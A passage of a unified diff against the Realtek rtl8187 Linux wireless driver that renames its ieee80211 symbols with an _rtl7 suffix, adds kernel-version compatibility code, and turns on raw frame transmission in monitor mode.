*)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ 